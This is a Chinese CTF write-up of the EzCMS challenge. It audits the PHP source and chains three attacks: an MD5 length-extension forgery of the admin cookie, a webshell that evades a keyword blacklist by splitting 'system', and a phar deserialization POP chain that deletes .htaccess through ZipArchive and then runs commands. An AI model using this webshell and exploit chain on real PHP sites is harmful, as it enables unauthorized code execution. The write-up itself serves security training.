主页是个登陆界面,想到sql注入。输入单引号就登陆成功了,进一步判断。不是sql注入
进去是一个上传界面。提示我们不是管理员。
扫下目录发现www.zip
下载源码审计
view.php
<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path);
$res = $file->view_detail();
$mine = $res['mine'];
$store_path = $res['store_path'];
echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;
config.php
<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;
function login(){
$secret = "********";
setcookie("hash", md5($secret."adminadmin"));
return 1;
}
function is_admin(){
$secret = "********";
$username = $_SESSION['username'];
$password = $_SESSION['password'];
if ($username == "admin" && $password != "admin"){
if ($_COOKIE['user'] === md5($secret.$username.$password)){
return 1;
}
}
return 0;
}
class Check{
public $filename;
function __construct($filename)
{
$this->filename = $filename;
}
function check(){
$content = file_get_contents($this->filename);
$black_list = ['system','eval','exec','+','passthru','`','assert'];
foreach ($black_list as $k=>$v){
if (stripos($content, $v) !== false){
die("your file make me scare");
}
}
return 1;
}
}
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
}
public function view_detail(){
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath);
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;
}
public function open($filename, $filepath){
$res = "$filename is in $filepath";
return $res;
}
function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}
}
class Admin{
public $size;
public $checker;
public $file_tmp;
public $filename;
public $upload_dir;
public $content_check;
function __construct($filename, $file_tmp, $size)
{
$this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
if (!file_exists($this->upload_dir)){
mkdir($this->upload_dir, 0777, true);
}
if (!is_file($this->upload_dir.'/.htaccess')){
file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
}
$this->size = $size;
$this->filename = $filename;
$this->file_tmp = $file_tmp;
$this->content_check = new Check($this->file_tmp);
$profile = new Profile();
$this->checker = $profile->is_admin();
}
public function upload_file(){
if (!$this->checker){
die('u r not admin');
}
$this->content_check -> check();
$tmp = explode(".", $this->filename);
$ext = end($tmp);
if ($this->size > 204800){
die("your file is too big");
}
move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
}
public function __call($name, $arguments)
{
}
}
class Profile{
public $username;
public $password;
public $admin;
public function is_admin(){
$this->username = $_SESSION['username'];
$this->password = $_SESSION['password'];
$secret = "********";
if ($this->username === "admin" && $this->password != "admin"){
if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
return 1;
}
}
return 0;
}
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}
index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>EzCMS</title>
</head>
<body>
<h2>Login platform</h2>
<div>
<p>假装这是一个超级漂亮的前端</p>
<p>先来登录吧~</p>
</div>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">用户名:</label>
<input type="text" name="username" id="username"><br>
<label for="file">密码:</label>
<input type="password" name="password" id="password"><br>
<input type="submit" name="login" value="提交">
</form>
</body>
</html>
<?php
error_reporting(0);
include('config.php');
if (isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
$username = urldecode($username);
$password = urldecode($password);
if ($password === "admin"){
die("u r not admin !!!");
}
$_SESSION['username'] = $username;
$_SESSION['password'] = $password;
if (login()){
echo '<script>location.href="upload.php";</script>';
}
}
首先从index.php我们的登陆界面看起
接收我们输入的username和password。用户名随意。密码不能为admin。赋值给session
接下来调用了login()函数
function login(){
$secret = "********";
setcookie("hash", md5($secret."adminadmin"));
return 1;
}
login函数将密钥和adminadmin拼接。然后MD5加密。赋值给cookies['hash']
也就是说。我们登陆成功后。会有一个cookie hash:md5(密钥+'adminadmin')
继续往下看。登陆成功后。会到upload页面。上传文件显示不是admin。那么我们就着重看下这部分代码
if (isset($_FILES['file']))
{
........................
#上传时的操作,赋值等等
$admin = new Admin($file_name, $file_tmp, $file_size);
首先调用了admin类
$admin->upload_file();
}else{
...........................
#没上传时的操作
}
程序调用了admin类中的upload_file
看到了关键代码。调用了$this->checker,如果不为True,就输出不是admin
继续追踪代码profile类中的is_admin函数
可以看到。将我们之前登陆的用户名密码赋值给username和password
然后定义了一个密钥。
判断我们之前输出的用户名是不是admin。密码不能是admin
然后将密钥和用户名密码拼接。MD5加密。将加密结果和cookies['user']进行比较
这里我们有三个可控点。用户名+密码+cookies['user']
这里就想到了hash长度扩展攻击
这里登陆的时候。用户名就是admin。对应了inputdata
密码就输入url编码的那串。然后将md5赋值给user
上传还是提示不是admin。。。。
这里有个坑。就是在源码中。密钥是8个*。我就单纯的以为。密钥长度为8
在ctf题中。如果没给出密钥长度。那就不要信
这里依次将长度+1然后生成exp。登陆上传。当测试到第13个的时候就成功了
这里的附加数据随便填,他只要MD5相同。没说要==admin这类的
登陆后。上传文件。没报错了。再重新访问下upload界面。就有文件路径
下面继续审计代码
在之前的文件上传时。admin类有一个构造函数。会在调用函数前执行。这里file_put_contens了一个.htaccess然后内容是乱写的。这也意味着。我们上传的文件都会收到.htaccess的影响不能正常执行
再往下看。调用了Check类。传入了文件上传时的缓存名
获取了文件内容。通过foreach循环。将其遍历。如果存在system,eval,exec这类的就退出了。也就意味着。文件上传不成功
流程如下:
upload.php->admin类->构造函数->upload_file函数
我们上传的文件内不能有连接在一起危险函数。那我们拼接绕过
<?php
$a='syste'.'m';
$a($_GET[0]);
?>
文件上传成功获得路径。访问500错误。正常。因为有.htaccess的存在
upload.php也分析完了
1。生成.htaccess
2。判断是否是admin
3。判断文件内是否有危险函数
下面继续看view.php
通过之前访问。我们大概可以知道view.php就是判断文件类型输出程序路径的
调用了File类中的view_detail函数
首先构造函数赋值filepath和filename
然后匹配filepath。有没有危险协议
接着mime_content_type获得filepath的类型
接着调用open函数。返回路径输出到前端
最后调用了析构函数。调用了checker->upload_file
由于程序没给checker赋值。
程序会先判断checker是否赋值。赋值了就调用upload_file()函数。否则就不调用
看完上面的代码。我们可以发现。filepath过滤危险函数。那么肯定有点东西
这里就要想到phar反序列化
mime_content_type是存在phar反序列化的,以下函数都存在反序列化
exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom***
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
standard
getimagesize
getimagesizefromstringfinfo_file/finfo_buffer/mime_content_type
当我们传入filepath是phar的路径。通过mime_content_type触发反序列化。就可以改写类中的变量。
但是这边过滤了phar协议。有下面几种绕过方式
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
@file_get_contents($z);
@include('php://filter/read=convert.base64-encode/resource=phar://yunying.phar');
mime_content_type('php://filter/read=convert.base64-encode/resource=phar://yunying.phar')
我们用最后一种方式绕过
phar知道绕过了。我们构造下POP链
由于.htaccess碍事。我们得想办法删掉他
之前说。File类。存在析构函数。会调用checker。由于phar反序列化存在。checker的值可控。我们就可以调用其他的类
在看下config.php
可以发现。这边存在call魔术方法。这个方法是程序调用不存在的函数会触发
在File类中。checker存在就会调用upload_file函数。
如果将checker赋值为Profile类。然后调用upload_file函数。由于函数不存在。那么就会触发call魔术方法
$this->admin->open($this->username, $this->password);
执行username,$password);
这时候我们就要查找下哪个PHP自带的类存在open方法。
查看下。哪个方法能够删除.htaccess
ZipArchive有open方法。存在两个参数
一个是文件名。一个是打开的类型。类似于读写覆盖什么的
ZipArchive::OVERWRITE
这个选项。可以将已存在的文件覆盖
如果我们将.htaccess覆盖为NULL。就达到了删除.htaccess的目的
至此。POP链构造好了
view.php
File类view_detail函数
phar反序列化
checker定义为Profile类
析构函数触发
$this->Profile->upload_file()
不存在。触发call魔法函数
调用admin->open($username,$password)
ZipArchive->open('.htaccess',ZipArchive::OVERWRITE)
下面开始构造phar
class File{
public $filename;
public $filepath;
public $checker;
}
class Profile{
public $username;
public $password;
public $admin;
}
#准备好用到的两个类
$o = new File();
$o->checker=new Profile();
$o->checker->admin=new ZipArchive();
#给checker赋值
$o->checker->username="sandbox/2c67ca1eaeadbdc1868d67003072b481/.htaccess";
$o->checker->password=ZipArchive::OVERWRITE;
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
代码很简单。准备两个类。然后将需要用到的变量赋值。生成phar就好了
上传phar.phar,然后通过view.php触发
http://57ecc255-739f-43b4-a20d-a38ff7f1f9c3.node3.buuoj.cn/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/read=convert.base64-encode/resource=phar://sandbox/2c67ca1eaeadbdc1868d67003072b481/9c7f4a2fbf2dd3dfb7051727a644d99f.phar
http://57ecc255-739f-43b4-a20d-a38ff7f1f9c3.node3.buuoj.cn/sandbox/2c67ca1eaeadbdc1868d67003072b481/42995f342e8abd019311aaed89d550ae.php?0=cat%20/flag
注意。当我们通过view.php执行完phar反序列化后。不要访问upload.php,不然会重新生成.htaccess